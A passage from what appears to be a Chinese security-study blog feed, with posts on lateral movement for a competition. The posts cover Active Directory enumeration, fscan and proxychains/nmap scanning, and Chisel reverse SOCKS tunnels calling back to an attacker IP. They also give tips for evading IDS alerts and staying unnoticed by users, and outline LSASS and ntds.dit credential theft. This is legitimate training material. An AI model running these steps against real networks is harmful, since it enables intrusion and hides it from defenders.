class="line">wget https://github.com/shadow1ng/fscan/releases/download/1.8.2/fscan_amd64</span><br><span class="line"><span class="built_in">chmod</span> +x fscan_amd64</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取 Windows 版 (上传至跳板机本地运行)</span></span><br><span class="line">wget https://github.com/shadow1ng/fscan/releases/download/1.8.4/fscan.exe</span><br></pre></td></tr></table></figure><p><strong>基础使用语法 (跳板机端):</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在跳板机 CMD 中直接扫描目标内网网段</span></span><br><span class="line">C:\Windows\Temp\fscan.exe -h <目标内网网段></span><br><span class="line"><span class="comment">#Example (扫整个C段): C:\Windows\Temp\fscan64.exe -h 192.168.10.0/24</span></span><br><span class="line"><span class="comment">#Example (扫特定B段): C:\Windows\Temp\fscan64.exe -h 10.10.0.0/16</span></span><br></pre></td></tr></table></figure><h1 id="0x03-实战一:域控定位与基础枚举"><a href="#0x03-实战一:域控定位与基础枚举" class="headerlink" title="0x03 实战一:域控定位与基础枚举"></a>0x03 实战一:域控定位与基础枚举</h1><p>当跳板机处于域环境时,<strong>优先使用系统内置命令</strong>进行枚举,隐蔽性极高且无外部文件落地。</p><h2 id="定位域控制器-DC-IP"><a href="#定位域控制器-DC-IP" class="headerlink" title="定位域控制器 (DC) IP"></a>定位域控制器 (DC) IP</h2><p>精准查找内网<strong>总控机器</strong>坐标。任选以下命令在跳板机执行:</p><p><strong>命令 A:DNS SRV 记录查询(最准确实战方案)</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nslookup -<span class="built_in">type</span>=SRV _ldap._tcp.dc._msdcs.<目标域名></span><br><span class="line"><span class="comment">#Example: nslookup -type=SRV _ldap._tcp.dc._msdcs.isw.local</span></span><br></pre></td></tr></table></figure><ul><li><strong>解析</strong>:直接向内网 DNS 服务器请求查询域控专属的 LDAP 服务注册记录,回显中包含域控主机名及物理 IP。</li></ul><p><strong>命令 B:时间服务器同步查询</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net <span class="keyword">time</span> /domain</span><br></pre></td></tr></table></figure><ul><li><strong>解析</strong>:域内机器默认向域控同步时间。提取回显中的主机名(如 <code>\\DC01</code>)并 Ping 之即可获取 IP。</li></ul><h2 id="域内用户与权限架构枚举"><a href="#域内用户与权限架构枚举" class="headerlink" title="域内用户与权限架构枚举"></a>域内用户与权限架构枚举</h2><p>获取目标攻击列表,为后续密码喷洒 (Password Spraying) 或哈希传递 (PtH) 准备账号字典。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 获取全域用户列表</span></span><br><span class="line">net user /domain</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取域管理员组 (Domain Admins) 成员列表(核心高价值目标)</span></span><br><span class="line">net group <span class="string">"Domain Admins"</span> /domain</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查询当前域的密码策略(密码长度、锁定阈值,防爆破导致账户锁定)</span></span><br><span class="line">net accounts /domain</span><br></pre></td></tr></table></figure><h1 id="0x04-实战二:自动化内网扫描武器-Fscan执行"><a href="#0x04-实战二:自动化内网扫描武器-Fscan执行" class="headerlink" title="0x04 实战二:自动化内网扫描武器 (Fscan执行)"></a>0x04 实战二:自动化内网扫描武器 (Fscan执行)</h1><p>当原生命令无法覆盖跨网段探测,或跳板机处于工作组环境中时,使用 Fscan 进行主动探测。</p><p><strong>1. 常规网段发现扫描 (B段/C段)</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\Temp\fscan64.exe -h <目标内网网段></span><br><span class="line"><span class="comment"># Example (常规扫C段): C:\Windows\Temp\fscan64.exe -h 192.168.10.0/24</span></span><br></pre></td></tr></table></figure><ul><li><strong>解析</strong>:执行 ICMP 存活探测 -> 端口扫描 -> Web Title 获取 -> 基础指纹识别 -> 弱口令爆破。</li></ul><p><strong>2. 规避扫描 (禁止暴力破解,防溯源告警)</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\Temp\fscan64.exe -h <目标内网网段> -nobr</span><br><span class="line"><span class="comment">#Example (静默探测模式): C:\Windows\Temp\fscan64.exe -h 192.168.10.0/24 -nobr</span></span><br></pre></td></tr></table></figure><ul><li><strong>解析</strong>:<code>-nobr</code> 代表 No Brute-force。仅做漏洞和端口探测,不进行 SSH/SMB 密码撞库,大幅降低触发防守方 IDS/IPS 告警的概率。</li></ul><p><strong>3. 精准协议探测 (针对横向移动阶段)</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\Temp\fscan64.exe -h <目标内网网段> -m smb</span><br><span class="line"><span class="comment">#Example (只扫SMB漏洞如MS17-010): C:\Windows\Temp\fscan64.exe -h 192.168.10.0/24 -m smb</span></span><br></pre></td></tr></table></figure><ul><li><strong>解析</strong>:强制指定仅扫描 445 端口及 SMB 协议缺陷(如 MS17-010 永恒之蓝)。速度极快,适用于快速寻找横向移动跳板。</li></ul><h1 id="0x05-实战三:高价值目标精准深度探测-Nmap"><a href="#0x05-实战三:高价值目标精准深度探测-Nmap" class="headerlink" title="0x05 实战三:高价值目标精准深度探测 (Nmap)"></a>0x05 实战三:高价值目标精准深度探测 (Nmap)</h1><p><strong>适用场景</strong>:通过前两步,你已经锁定了<strong>确切的目标 IP</strong>(比如用 <code>nslookup</code> 找出的域控 <code>192.168.10.10</code>,或者用 Fscan 扫出来的开了 80 端口的 <code>192.168.10.20</code>)。</p><p><strong>核心目的</strong>:Fscan 的探测是走马观花,Nmap 则是用进一步细致的探查。</p><p>你需要精确知道目标开了哪些非常规端口,以及对应服务的确切版本号(便于在 Exploit-DB 搜对应的 EXP)。</p><p>在你的 Ubuntu 攻击机上,通过建立好的隧道强制发起 TCP 全连接扫描。</p><p><strong>1. 目标核心端口强扫</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 nmap -sT -Pn -p <目标端口列表> <目标内网IP></span><br><span class="line"><span class="comment"># Example (探测域控核心服务): proxychains4 nmap -sT -Pn -p 53,88,135,139,445,389,3389 192.168.10.10</span></span><br></pre></td></tr></table></figure><p><strong>2. 服务指纹深度探测 (极其重要)</strong></p><p>当你发现目标开放了某些端口,但不确定具体版本时:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 nmap -sT -Pn -sV -p <具体端口> <目标内网IP></span><br><span class="line"><span class="comment"># Example (深探Web服务版本): proxychains4 nmap -sT -Pn -sV -p 80,8080 192.168.10.20</span></span><br></pre></td></tr></table></figure><p><strong>解析</strong>:<code>-sV</code> 参数会进行服务枚举,精准返回例如 <code>Apache httpd 2.4.49</code> 这样带有版本号的信息,直接拿着版本号去搜 RCE 漏洞。</p><h1 id="0x06-赛场异常处置规范"><a href="#0x06-赛场异常处置规范" class="headerlink" title="0x06 赛场异常处置规范"></a>0x06 赛场异常处置规范</h1><h2 id="隧道扫描底层限制"><a href="#隧道扫描底层限制" class="headerlink" title="隧道扫描底层限制"></a>隧道扫描底层限制</h2><p>当在攻击机(Ubuntu)上使用 <code>Proxychains4</code> + <code>Nmap</code> 穿透 SOCKS5 代理扫描内网时,<strong>极其容易出现扫描卡死或全盘误报</strong>。必须严格遵守以下底层协议限制:</p><ol><li><p><strong>问题一:SOCKS5 不支持 ICMP 协议</strong></p><ul><li><p><strong>痛点</strong>:代理无法转发 Ping 数据包。Nmap 默认在扫描前会发 Ping,收不到回应就会直接判定主机离线并跳过扫描。</p></li><li><p><strong>规范应对</strong>:必须添加 <code>-Pn</code> 参数。强制 Nmap 禁用主机存活发现,直接将 <code><目标内网IP></code> 视作在线并硬扫端口。</p></li></ul></li><li><p><strong>问题二:SOCKS5 严禁 TCP SYN 半连接扫描</strong></p><ul><li><p><strong>痛点</strong>:Nmap 在 Root 权限下的默认行为是 <code>-sS</code> (SYN 半连接扫描)。但半连接属于底层网卡伪造行为,SOCKS5 代理只接受符合操作系统规范的完整 TCP 连接流,导致发包彻底失败。</p></li><li><p><strong>规范应对</strong>:必须添加 <code>-sT</code> 参数。强制 Nmap 采用老实本分的 TCP 全连接(三次握手)进行探测,确保代理能够完美转发。</p></li></ul></li><li><p><strong>问题三:UDP 协议转发不稳定</strong></p><ul><li><p><strong>痛点</strong>:绝大多数代理隧道对无状态的 UDP 协议支持极差,会导致极高的丢包率和连接假死。</p></li><li><p><strong>规范应对</strong>:在代理环境下,严格禁止使用大范围的 <code>-sU</code> 参数扫内网。</p></li></ul></li></ol><h1 id="0x07-本阶段结果-Checklist"><a href="#0x07-本阶段结果-Checklist" class="headerlink" title="0x07 本阶段结果 (Checklist)"></a>0x07 本阶段结果 (Checklist)</h1><p>执行完本笔记操作后,你应该获取以下重要信息,再进入下一步:</p><ul><li><p><strong>目标域名称</strong> (如 <code>ISW.local</code>)</p></li><li><p><strong>域控制器 (DC) 的绝对 IP</strong> (如 <code>192.168.10.10</code>)</p></li><li><p><strong>域管理员账号名列表</strong> (如 <code>Administrator</code>, <code>IT_Admin</code>)</p></li><li><p><strong>内网其他存活主机的 IP 及开放高危端口</strong> (80, 445, 1433, 3389)</p></li></ul>]]></content>
<summary type="html"><h1 id="0x01-原理简述"><a href="#0x01-原理简述" class="headerlink" title="0x01 原理简述"></a>0x01 原理简述</h1><p><strong>宏观类比</strong>:内网信息收集如同开启<strong>战争</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="内网横向" scheme="http://example.com/categories/ISW/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91/"/>
<category term="横向移动" scheme="http://example.com/tags/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/"/>
<category term="域控" scheme="http://example.com/tags/%E5%9F%9F%E6%8E%A7/"/>
<category term="信息收集" scheme="http://example.com/tags/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
<category term="Fscan" scheme="http://example.com/tags/Fscan/"/>
<category term="Nmap" scheme="http://example.com/tags/Nmap/"/>
</entry>
<entry>
<title>内网横向1:隧道穿透与代理技术</title>
<link href="http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%911_%E9%9A%A7%E9%81%93%E7%A9%BF%E9%80%8F%E4%B8%8E%E4%BB%A3%E7%90%86%E6%8A%80%E6%9C%AF/"/>
<id>http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%911_%E9%9A%A7%E9%81%93%E7%A9%BF%E9%80%8F%E4%B8%8E%E4%BB%A3%E7%90%86%E6%8A%80%E6%9C%AF/</id>
<published>2026-03-21T06:00:00.000Z</published>
<updated>2026-03-21T12:24:15.980Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>这是我们内网横向的第一阶段,我们需要把我们的攻击机送到内网里</p><h1 id="0x01-原理简述"><a href="#0x01-原理简述" class="headerlink" title="0x01 原理简述"></a>0x01 原理简述</h1><p><strong>宏观类比</strong>:隧道代理如同在两道防火墙之间铺设一条专属的“地下管道”。由于攻击机无法直接触及内网深处的资产,我们利用已控制的跳板机作为“中转站”;攻击机将所有指令打包送入管道,跳板机在内网代为执行并将结果原路传回。</p><p><em>*技术定义</em>:利用代理工具(如 Chisel、FRP)将攻击机的流量封装并通过合法端口转发,突破网络隔离(NAT/防火墙),实现攻击工具(Nmap, Impacket)对内网目标协议(TCP/UDP)的直接访问。</p><h1 id="0x02-横向阶段-1-与-2-核心工具获取"><a href="#0x02-横向阶段-1-与-2-核心工具获取" class="headerlink" title="0x02 横向阶段 1 与 2 核心工具获取"></a>0x02 横向阶段 1 与 2 核心工具获取</h1><p>针对内网隧道穿透与后续的信息探测,必须在断网比赛前,于攻击机(Ubuntu)本地提前储备好以下四款核心工具的双端版本(Linux/Windows)。</p><h2 id="流量劫持代理库:Proxychains"><a href="#流量劫持代理库:Proxychains" class="headerlink" title="流量劫持代理库:Proxychains"></a>流量劫持代理库:Proxychains</h2><p>直接通过 Ubuntu 官方软件源安装,用于将本地任意命令行工具的流量强制转发至 SOCKS 隧道。</p><p>下载:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install proxychains4 -y</span><br></pre></td></tr></table></figure><p><strong>基础使用规范:</strong></p><ul><li><p><strong>配置代理出口</strong>:编辑 <code>sudo nano /etc/proxychains4.conf</code>(或 <code>/etc/proxychains.conf</code>),在文件最底部 <code>[ProxyList]</code> 下方保留唯一的隧道出口:<code>socks5 127.0.0.1 1080</code>。</p></li><li><p><strong>执行命令</strong>:在任何不支持代理原生设置的命令行工具前追加 <code>proxychains4</code> 前缀。例如:<code>proxychains4 curl http://<目标内网IP></code></p></li></ul><h2 id="隧道核心:Chisel-双端二进制文件"><a href="#隧道核心:Chisel-双端二进制文件" class="headerlink" title="隧道核心:Chisel (双端二进制文件)"></a>隧道核心:Chisel (双端二进制文件)</h2><p>一款采用 Go 语言编写的高性能隧道工具,单文件执行且内置加密。必须同时下载 Linux 版(作为攻击机 Server)和 Windows 版(上传至靶机作为 Client)。</p><p>下载:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建专属工具目录</span></span><br><span class="line"><span class="built_in">mkdir</span> -p ~/ISW_Workspace/Tools/Lateral/Chisel && <span class="built_in">cd</span> ~/ISW_Workspace/Tools/Lateral/Chisel</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取 Linux 服务端 (攻击机运行)</span></span><br><span class="line">wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz</span><br><span class="line">gzip -d chisel_1.9.1_linux_amd64.gz</span><br><span class="line"><span class="built_in">mv</span> chisel_1.9.1_linux_amd64 chisel && <span class="built_in">chmod</span> +x chisel</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取 Windows 客户端 (若靶机是win运行这个,若靶机是linux也传上面那个)</span></span><br><span class="line">wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz</span><br><span class="line">gzip -d chisel_1.9.1_windows_amd64.gz</span><br><span class="line"><span class="built_in">mv</span> chisel_1.9.1_windows_amd64 chisel.exe</span><br></pre></td></tr></table></figure><p><strong>基础使用:</strong></p><ul><li><p><strong>Server 端 (被连接方)</strong>:<code>./chisel server -p <监听端口> --reverse</code> (开启服务端,<code>--reverse</code> 允许客户端建立反向隧道)。</p></li><li><p><strong>Client 端 (主动连接方)</strong>:<code>chisel.exe client <服务端IP>:<端口> R:socks</code> (<code>R:socks</code> 告知服务端在本地建立反向 SOCKS5 代理)。</p></li></ul><h1 id="0x03-隧道建立流程"><a href="#0x03-隧道建立流程" class="headerlink" title="0x03 隧道建立流程"></a>0x03 隧道建立流程</h1><p>在完成 0x02 的配置后,按照以下三步建立穿透内网的 SOCKS5 隧道:</p><p>这里使用反向代理,因为正向代理容易被防火墙杀掉</p><h2 id="攻击机侧-Ubuntu-启动监听"><a href="#攻击机侧-Ubuntu-启动监听" class="headerlink" title="攻击机侧 (Ubuntu) 启动监听"></a>攻击机侧 (Ubuntu) 启动监听</h2><p>在攻击机终端启动 Chisel 服务端,等待靶机接入:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./chisel server -p 8000 --reverse</span><br></pre></td></tr></table></figure><h2 id="跳板机发起内网穿透"><a href="#跳板机发起内网穿透" class="headerlink" title="跳板机发起内网穿透"></a>跳板机发起内网穿透</h2><p>将对应平台的 <code>chisel</code> 客户端上传至跳板机可写目录(如 <code>C:\Windows\Temp\</code>),执行反向连接命令:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\Temp\chisel.exe client <攻击机IP>:8000 R:socks</span><br></pre></td></tr></table></figure><h2 id="攻击机侧流量接管测试"><a href="#攻击机侧流量接管测试" class="headerlink" title="攻击机侧流量接管测试"></a>攻击机侧流量接管测试</h2><p>确认 Chisel 服务端回显 <code>client: Connected</code> 后,代理即在本地 <code>127.0.0.1:1080</code> 生效。通过 Proxychains 发起内网探测测试:</p><p>这里的目标内网ip不是跳板机ip,是我们在跳板机里搜索到的同内网的其他主机ip,这里这条命令只是为了测试我们是否能访问跳板机所在内网</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 测试内网 IP 的联通性</span></span><br><span class="line">proxychains4 curl -I http://<目标内网IP></span><br></pre></td></tr></table></figure><h1 id="0x04-进阶技术:"><a href="#0x04-进阶技术:" class="headerlink" title="0x04 进阶技术:"></a>0x04 进阶技术:</h1><h2 id="局部端口转发"><a href="#局部端口转发" class="headerlink" title="局部端口转发"></a>局部端口转发</h2><p><strong>应用场景</strong>:无需进行全网段扫描,仅需将内网特定主机的单点服务(如 <code><目标内网IP></code> 的 <code>80</code> Web 服务或 <code>3389</code> RDP 服务)单独映射至攻击机本地。</p><p><strong>配置命令 (仅变更客户端执行参数)</strong>:攻击机端保持 <code>server -p 8000 --reverse</code> 不变。跳板机端执行:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\Temp\chisel.exe client <攻击机IP>:8000 R:8080:<目标内网IP>:80</span><br></pre></td></tr></table></figure><ul><li><code>R:8080:<目标内网IP>:80</code>:将攻击机本地的 <code>8080</code> 端口,绑定至内网主机 <code><目标内网IP></code> 的 <code>80</code> 端口。攻击机浏览器直接访问 <code>127.0.0.1:8080</code> 即可触达内网业务。</li></ul><h1 id="0x05-异常处理"><a href="#0x05-异常处理" class="headerlink" title="0x05 异常处理"></a>0x05 异常处理</h1><h2 id="“Shell-卡死”和“掉线”问题"><a href="#“Shell-卡死”和“掉线”问题" class="headerlink" title="“Shell 卡死”和“掉线”问题"></a>“Shell 卡死”和“掉线”问题</h2><p><strong>隧道前台阻塞:</strong> 当你在靶机的反弹 Shell里敲下 <code>chisel.exe client ...</code> 并回车后,正常情况下,<strong>这个程序会一直霸占着你的屏幕</strong>。这叫“前台运行”。这会带来两个致命问题:</p><ol><li><p><strong>没法干别的活了</strong>:你的 Shell 卡在这里,没法继续敲 <code>whoami</code> 或者跑其他提权命令了,除非你把它 <code>Ctrl+C</code> 停掉,但一停隧道就断了。</p></li><li><p><strong>进程连坐死亡</strong>:如果你这个反弹 Shell 不小心掉线了,或者 WebShell 超时了,系统会把这个 Shell 里的所有前台进程全部杀掉,你的隧道瞬间灰飞烟灭。</p></li></ol><p><strong>解法:</strong></p><ul><li><p><strong>Linux 的解法 (<code>nohup ... &</code>)</strong>:</p><ul><li><p><code>&</code> 的意思是:把这个程序丢到<strong>后台</strong>去运行,把命令行的输入框还给我。</p></li><li><p><code>nohup</code> (No Hang Up) 的意思是:告诉 Linux 系统,<strong>“就算我这个终端关闭了、断开了,也绝对不许杀掉这个进程”</strong>。</p></li></ul></li><li><p><strong>Windows 的解法 (<code>Start-Process -NoNewWindow ...</code>)</strong>:</p><ul><li><p>在 PowerShell 里,用 <code>Start-Process</code> 可以拉起一个全新的独立进程,它不再依赖你当前的 Shell。</p></li><li><p><code>-NoNewWindow</code> 的意思是:<strong>静默运行,不要弹出一个新的黑框框</strong>。这在实战中极其重要,如果是打真实的办公电脑,突然弹个黑框框,目标用户立刻就会报警。</p></li></ul></li></ul>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>这是我们内网横向的第一阶段,我们需要把我们的攻击机送到内网里</p>
<h1 id="0x01-原理简述"><a href="#0x</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="内网横向" scheme="http://example.com/categories/ISW/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91/"/>
<category term="横向移动" scheme="http://example.com/tags/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/"/>
<category term="域控" scheme="http://example.com/tags/%E5%9F%9F%E6%8E%A7/"/>
<category term="隧道" scheme="http://example.com/tags/%E9%9A%A7%E9%81%93/"/>
</entry>
<entry>
<title>内网横向0:基础概念及总体框架</title>
<link href="http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%910_%E5%9F%BA%E7%A1%80%E6%A6%82%E5%BF%B5%E5%8F%8A%E6%80%BB%E4%BD%93%E6%A1%86%E6%9E%B6/"/>
<id>http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%910_%E5%9F%BA%E7%A1%80%E6%A6%82%E5%BF%B5%E5%8F%8A%E6%80%BB%E4%BD%93%E6%A1%86%E6%9E%B6/</id>
<published>2026-03-21T05:00:00.000Z</published>
<updated>2026-03-21T10:26:54.485Z</updated>
<content type="html"><![CDATA[<h1 id="基础概念:"><a href="#基础概念:" class="headerlink" title="基础概念:"></a>基础概念:</h1><h2 id="什么是内网横向移动?"><a href="#什么是内网横向移动?" class="headerlink" title="什么是内网横向移动?"></a>什么是内网横向移动?</h2><p>当你通过 Web 漏洞(比如传了个 WebShell,然后通过计划任务提权到了 SYSTEM)拿下了一台边界服务器,你会发现:</p><ol><li><p>这台机器上根本没有你要找的 flag 或核心业务数据。</p></li><li><p>这台机器除了能连外网,它还有一张<strong>内网网卡</strong>(比如 <code>192.168.50.10</code>),连着几百台你原本访问不到的内部机器。</p></li></ol><p><strong>横向移动(Lateral Movement)</strong>,就是以这台已经沦陷的边界机为跳板,通过窃取密码、搭建代理隧道、利用内网漏洞等手段,向内网深处的其他机器发起攻击,最终拿下整个网络的核心控制权(通常是<strong>域控制器 Domain Controller</strong>)。</p><h2 id="横向前准备工作:"><a href="#横向前准备工作:" class="headerlink" title="横向前准备工作:"></a>横向前准备工作:</h2><p>在进行横向移动前,先判断当前内网处于哪种架构中,这决定了你的打法:</p><h3 id="工作组环境-Workgroup"><a href="#工作组环境-Workgroup" class="headerlink" title="工作组环境 (Workgroup)"></a>工作组环境 (Workgroup)</h3><ul><li><p><strong>概念</strong>:机器之间是“平级”的,互不隶属。A 机器的管理员账号只能管 A,管不了 B。</p></li><li><p><strong>特点</strong>:密码各自独立。</p></li></ul><h3 id="域环境-Domain-AD"><a href="#域环境-Domain-AD" class="headerlink" title="域环境 (Domain / AD)"></a>域环境 (Domain / AD)</h3><ul><li><p><strong>概念</strong>:企业内网的标配。所有机器都归一个“中央大脑”管,这个大脑叫<strong>域控制器 (DC)</strong>。</p></li><li><p><strong>特点</strong>:存在<strong>域账号</strong>。比如 <code>Admin@ISW.local</code> 这个账号,如果权限够大,登录内网里的任何一台机器都不需要重新建号。身份验证全部由域控(DC)负责颁发“票据(Ticket)”。</p></li></ul><h3 id="确定架构方法:"><a href="#确定架构方法:" class="headerlink" title="确定架构方法:"></a>确定架构方法:</h3><h4 id="Win"><a href="#Win" class="headerlink" title="Win"></a>Win</h4><p><strong>1. 查询系统域配置 (通用)</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systeminfo | findstr /i <span class="string">"Domain"</span></span><br></pre></td></tr></table></figure><ul><li><p><strong>解析</strong>:过滤系统基本配置中的域字段。</p></li><li><p><strong>结果</strong>:</p><ul><li><p>输出 <code>Domain: WORKGROUP</code> ➡️ 工作组环境。战术转向:收集本地凭据,探测同网段独立主机。</p></li><li><p>输出 <code>Domain: <特定域名></code> (如 isw.local) ➡️ 域环境。战术转向:寻找域控 IP,窃取域账户凭据。</p></li></ul></li></ul><p><strong>2. 查询工作站网络配置</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net config workstation</span><br></pre></td></tr></table></figure><ul><li><strong>解析</strong>:输出当前计算机作为网络客户端的配置信息,提取 <code>工作站域</code> 字段。速度优于 <code>systeminfo</code>。</li></ul><h4 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h4><p><strong>1. 查看 Kerberos 认证配置 (通用)</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /etc/krb5.conf</span><br></pre></td></tr></table></figure><ul><li><strong>结果</strong>:检索 <code>[realms]</code> 标签块。若存在具体的域名及 <code>kdc = <IP></code> 配置,表明主机参与域认证,该 IP 极大概率为域控 IP。</li></ul><p><strong>2. 查询 AD 成员状态</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">realm list</span><br></pre></td></tr></table></figure><ul><li><strong>结果</strong>:输出 <code>configured: kerberos-member</code> 即为加域状态,可进一步搜寻 <code>/etc/krb5.keytab</code> 文件。</li></ul><h1 id="横向移动的标准流程:"><a href="#横向移动的标准流程:" class="headerlink" title="横向移动的标准流程:"></a>横向移动的标准流程:</h1><ol><li><p>域环境下流程:<br>拿下跳板机 SYSTEM $\rightarrow$ <strong>搭隧道(把ubuntu攻击机送进内网)</strong> $\rightarrow$ <strong>抓密码/扫内网(查明架构)</strong> $\rightarrow$ <strong>横向移动(打域控)</strong>。</p></li><li><p>工作组环境:<br>拿下跳板机 SYSTEM $\rightarrow$ <strong>搭隧道(把ubuntu攻击机送进内网)</strong> $\rightarrow$ <strong>抓密码/扫内网(查明架构)</strong> $\rightarrow$ <strong>密码复用或者靠漏洞硬打</strong></p></li></ol><p>前三点是一样的,我们统一来说,只有最后一步有一点不一样</p><h2 id="一、拿system"><a href="#一、拿system" class="headerlink" title="一、拿system"></a>一、拿system</h2><p>这个不说了,这个是属于linux/win提权章节的内容</p><h2 id="二、隧道与代理概念-Pivoting-Tunneling"><a href="#二、隧道与代理概念-Pivoting-Tunneling" class="headerlink" title="二、隧道与代理概念 (Pivoting / Tunneling)"></a>二、隧道与代理概念 (Pivoting / Tunneling)</h2><p><strong>解决的问题:“把攻击机 (Ubuntu/Kali) 送进内网”</strong> </p><p>你打下的跳板机只有命令行,没法运行 Nmap、BurpSuite 这种大型工具。我们需要在跳板机上搭一个“路由器”,把我们攻击机的流量<strong>转发</strong>进内网。</p><h2 id="三、内网信息收集-Reconnaissance"><a href="#三、内网信息收集-Reconnaissance" class="headerlink" title="三、内网信息收集 (Reconnaissance)"></a>三、内网信息收集 (Reconnaissance)</h2><p><strong>解决的问题:“我是谁?我在哪?周围有谁?域控在哪?”</strong> </p><p>进去内网第一件事是按流程化扫描,操作不当可能留下犯罪信息被抓</p><h2 id="三、凭证窃取-Credential-Harvesting"><a href="#三、凭证窃取-Credential-Harvesting" class="headerlink" title="三、凭证窃取 (Credential Harvesting)"></a>三、凭证窃取 (Credential Harvesting)</h2><p><strong>解决的问题:“我需要合法的密钥去连接下一台机器。”</strong> </p><p>在 Windows 体系里,管理员只要登录过这台机器,他的密码/哈希/票据就会残留在内存(LSASS)里。在<strong>SYSTEM 权限</strong>下能把它们全抓出来。</p><h2 id="域环境四:横向击杀与执行-Lateral-Execution"><a href="#域环境四:横向击杀与执行-Lateral-Execution" class="headerlink" title="域环境四:横向击杀与执行 (Lateral Execution)"></a>域环境四:横向击杀与执行 (Lateral Execution)</h2><p><strong>解决的问题:“拿到密码/漏洞了,怎么远程控制下一台机器?”</strong> </p><p>不要总想着弹 Shell,在内网里,用 Windows 自带的合法远程管理协议去执行命令,才是最免杀、最高级的打法。</p><p>这种情况我们的目标就是拿下<strong>域控</strong> ,一旦拿下域控,导出所有人的密码哈希(ntds.dit),你就是这个内网的上帝,想登哪台登哪台。打法通常围绕着“票据伪造”、“哈希传递 (PtH)”、“委派攻击”展开。</p><h2 id="工作组四:密码复用或打内核洞"><a href="#工作组四:密码复用或打内核洞" class="headerlink" 